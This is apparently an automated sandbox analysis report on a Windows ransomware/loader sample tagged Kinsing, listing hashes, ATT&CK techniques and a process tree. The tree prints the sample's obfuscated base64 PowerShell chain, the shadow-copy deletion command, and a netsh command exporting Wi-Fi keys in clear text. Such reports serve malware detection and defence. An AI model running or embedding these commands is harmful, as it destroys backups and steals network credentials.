kinsing | b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba

General

Target

b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
Size

947KB
MD5

dcefbbb5757c8527b8b7a62f515e0910
SHA1

44cd249fcbb8990dc9f40e73f86158d22dbb16bb
SHA256

b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba
SHA512

7bf0a6cf64d1c96786a5b975fba6592989669dcc2e92f0f9d9e1d3c098dfd758597a27246ff3b910f2dc2df17568007cf12c18caf71e5c27a774c5e354ae01a4
SSDEEP

12288:+coJMvnKm7bR3zc4jAEJWYgeWYg955/155/kJ2kVkIPHusDNNQzCbQMoG9E/nVJW:7uMvDzc4jAc2EPJNq+aW

Score

10^/10

kinsing loader ransomware

Malware Config

Signatures

Kinsing
Kinsing is a loader written in Golang.
loader kinsing
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Drops file in System32 directory 4 IoCs

description	ioc	Process
File created	C:\Windows\System32\temp.tmp.bmp	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
File opened for modification	C:\Windows\System32\temp.tmp.jpg	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
File created	C:\Windows\System32\ok.txt	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
File opened for modification	C:\Windows\System32\ok.txt.apb	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe

Interacts with shadow copies 2 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4536	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1932	powershell.exe
1932	powershell.exe
1016	powershell.exe
1016	powershell.exe
5012	powershell.exe
5012	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeBackupPrivilege	2520	vssvc.exe
Token: SeRestorePrivilege	2520	vssvc.exe
Token: SeAuditPrivilege	2520	vssvc.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1116 wrote to memory of 4464	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	88
PID 1116 wrote to memory of 4464	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	88
PID 4464 wrote to memory of 1932	4464	cmd.exe	89
PID 4464 wrote to memory of 1932	4464	cmd.exe	89
PID 1932 wrote to memory of 1016	1932	powershell.exe	90
PID 1932 wrote to memory of 1016	1932	powershell.exe	90
PID 1016 wrote to memory of 5012	1016	powershell.exe	91
PID 1016 wrote to memory of 5012	1016	powershell.exe	91
PID 5012 wrote to memory of 4536	5012	powershell.exe	93
PID 5012 wrote to memory of 4536	5012	powershell.exe	93
PID 1116 wrote to memory of 4772	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	98
PID 1116 wrote to memory of 4772	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	98
PID 4772 wrote to memory of 2072	4772	cmd.exe	99
PID 4772 wrote to memory of 2072	4772	cmd.exe	99
PID 1116 wrote to memory of 4904	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	100
PID 1116 wrote to memory of 4904	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	100
PID 1116 wrote to memory of 1872	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	101
PID 1116 wrote to memory of 1872	1116	b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe	101

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe
"C:\Users\Admin\AppData\Local\Temp\b6c672b1cbce711c3881a4316fa2ea60e17302fc42c1b8daa327582172fc96ba.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -eNcODeDcOmMAnd cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBOAGMATwBEAGUARABjAE8AbQBNAEEAbgBkACAAYwBBAEIAdgBBAEgAYwBBAFoAUQBCAHkAQQBIAE0AQQBhAEEAQgBsAEEARwB3AEEAYgBBAEEAZwBBAEMAMABBAFoAUQBCAE8AQQBHAE0AQQBUAHcAQgBFAEEARwBVAEEAUgBBAEIAagBBAEUAOABBAGIAUQBCAE4AQQBFAEUAQQBiAGcAQgBrAEEAQwBBAEEAWgBBAEIAbgBBAEUASQBBAGUAZwBCAEIAQQBFAGcAQQBUAFEAQgBCAEEARgBrAEEAVQBRAEIAQwBBAEcAcwBBAFEAUQBCAEgAQQBEAEEAQQBRAFEAQgBoAEEARgBFAEEAUQBnAEIAMQBBAEUARQBBAFEAdwBCAEIAQQBFAEUAQQBXAGcAQgBCAEEARQBJAEEAYgBBAEIAQgBBAEUAYwBBAGQAdwBCAEIAQQBGAG8AQQBVAFEAQgBDAEEARABBAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAEoAQQBFAEUAQQBRAGcAQgA2AEEARQBFAEEAUgB3AEIAbgBBAEUARQBBAFcAUQBCAFIAQQBFAEkAQQBhAHcAQgBCAEEARQBjAEEATwBBAEIAQgBBAEcAUQBBAGQAdwBCAEMAQQBIAG8AQQBRAFEAQgBEAEEARQBFAEEAUQBRAEIATQBBAEgAYwBBAFEAZwBCAG8AQQBFAEUAQQBSAHcAQgAzAEEARQBFAEEAWQBnAEIAQgBBAEUARQBBAFoAdwBCAEIAQQBFAE0AQQBPAEEAQgBCAEEARwBNAEEAVQBRAEIAQwBBAEQARQBBAFEAUQBCAEgAQQBHAHMAQQBRAFEAQgBhAEEARgBFAEEAUQBnAEEAdwBBAEUARQBBAFEAUQBBADkAQQBEADAAQQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4464
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -eNcODeDcOmMAnd cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBOAGMATwBEAGUARABjAE8AbQBNAEEAbgBkACAAYwBBAEIAdgBBAEgAYwBBAFoAUQBCAHkAQQBIAE0AQQBhAEEAQgBsAEEARwB3AEEAYgBBAEEAZwBBAEMAMABBAFoAUQBCAE8AQQBHAE0AQQBUAHcAQgBFAEEARwBVAEEAUgBBAEIAagBBAEUAOABBAGIAUQBCAE4AQQBFAEUAQQBiAGcAQgBrAEEAQwBBAEEAWgBBAEIAbgBBAEUASQBBAGUAZwBCAEIAQQBFAGcAQQBUAFEAQgBCAEEARgBrAEEAVQBRAEIAQwBBAEcAcwBBAFEAUQBCAEgAQQBEAEEAQQBRAFEAQgBoAEEARgBFAEEAUQBnAEIAMQBBAEUARQBBAFEAdwBCAEIAQQBFAEUAQQBXAGcAQgBCAEEARQBJAEEAYgBBAEIAQgBBAEUAYwBBAGQAdwBCAEIAQQBGAG8AQQBVAFEAQgBDAEEARABBAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAEoAQQBFAEUAQQBRAGcAQgA2AEEARQBFAEEAUgB3AEIAbgBBAEUARQBBAFcAUQBCAFIAQQBFAEkAQQBhAHcAQgBCAEEARQBjAEEATwBBAEIAQgBBAEcAUQBBAGQAdwBCAEMAQQBIAG8AQQBRAFEAQgBEAEEARQBFAEEAUQBRAEIATQBBAEgAYwBBAFEAZwBCAG8AQQBFAEUAQQBSAHcAQgAzAEEARQBFAEEAWQBnAEIAQgBBAEUARQBBAFoAdwBCAEIAQQBFAE0AQQBPAEEAQgBCAEEARwBNAEEAVQBRAEIAQwBBAEQARQBBAFEAUQBCAEgAQQBHAHMAQQBRAFEAQgBhAEEARgBFAEEAUQBnAEEAdwBBAEUARQBBAFEAUQBBADkAQQBEADAAQQA=
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1932
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eNcODeDcOmMAnd cABvAHcAZQByAHMAaABlAGwAbAAgAC0AZQBOAGMATwBEAGUARABjAE8AbQBNAEEAbgBkACAAZABnAEIAegBBAEgATQBBAFkAUQBCAGsAQQBHADAAQQBhAFEAQgB1AEEAQwBBAEEAWgBBAEIAbABBAEcAdwBBAFoAUQBCADAAQQBHAFUAQQBJAEEAQgB6AEEARwBnAEEAWQBRAEIAawBBAEcAOABBAGQAdwBCAHoAQQBDAEEAQQBMAHcAQgBoAEEARwB3AEEAYgBBAEEAZwBBAEMAOABBAGMAUQBCADEAQQBHAGsAQQBaAFEAQgAwAEEAQQA9AD0A
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1016
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eNcODeDcOmMAnd dgBzAHMAYQBkAG0AaQBuACAAZABlAGwAZQB0AGUAIABzAGgAYQBkAG8AdwBzACAALwBhAGwAbAAgAC8AcQB1AGkAZQB0AA==
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5012
      - C:\Windows\system32\vssadmin.exe
        
        "C:\Windows\system32\vssadmin.exe" delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:4536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh wlan export profile folder="C:\Windows\System32\wifies\\" key=clear && cls
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\system32\netsh.exe
    netsh wlan export profile folder="C:\Windows\System32\wifies\\" key=clear
    3⤵
    PID:2072
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c dir /s /b /a-d C:\Windows\System32\wifies\
  2⤵
  PID:4904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c pause
  2⤵
  PID:1872

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2520

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

2

T1070

File Deletion

2

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

2

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wr5sedl5.gbh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\wctF613.tmp.apb

Filesize
105KB

MD5
4d64094fbbc4173506e2874f340130c4

SHA1
841064a338b27f5b58158b829c88b5e5486877e6

SHA256
2a4d21fcbe9d13e8553691891766d5d02acc0bcb5b82a11704079d0420a8afe9

SHA512
8ffa22e2bd12ec8a4b91b55cf80720451f0ec9737aef5c60041d4996d1bc490d59b836d98f346f8ac52ba485066272bc9ee0e530409ea8822e724f8f31f1f72c

Download Submit
C:\Windows\System32\temp.tmp.bmp

Filesize
1.0MB

MD5
3f235dd4b473855cd1311988b367428f

SHA1
64bcd470700ca7c7e45c564ab8d46074223cbed7

SHA256
e0a4ed1e7abb701c5d68826d27bbd37e2e991cd96ca70f3a1188cffe35f035ad

SHA512
0fc1ae4ba9aaf2722e1d820728524bf137073062e80c184def56c9c637146cca379f79aeb03acab4c7c76cbb5699efc9ee063d3c9945202c665162679e379326

Download Submit
memory/1016-42-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Filesize
10.8MB

Download
memory/1016-22-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Filesize
10.8MB

Download
memory/1016-23-0x000001EA9A570000-0x000001EA9A580000-memory.dmp

Filesize
64KB

Download
memory/1016-24-0x000001EA9A570000-0x000001EA9A580000-memory.dmp

Filesize
64KB

Download
memory/1116-98-0x00007FF7193C0000-0x00007FF7194B9000-memory.dmp

Filesize
996KB

Download
memory/1932-11-0x000002A85D560000-0x000002A85D570000-memory.dmp

Filesize
64KB

Download
memory/1932-9-0x000002A875EA0000-0x000002A875EC2000-memory.dmp

Filesize
136KB

Download
memory/1932-12-0x000002A85D560000-0x000002A85D570000-memory.dmp

Filesize
64KB

Download
memory/1932-45-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Filesize
10.8MB

Download
memory/1932-10-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Filesize
10.8MB

Download
memory/5012-38-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Filesize
10.8MB

Download
memory/5012-35-0x000001EBFDA00000-0x000001EBFDA10000-memory.dmp

Filesize
64KB

Download
memory/5012-34-0x00007FFEDC3B0000-0x00007FFEDCE71000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing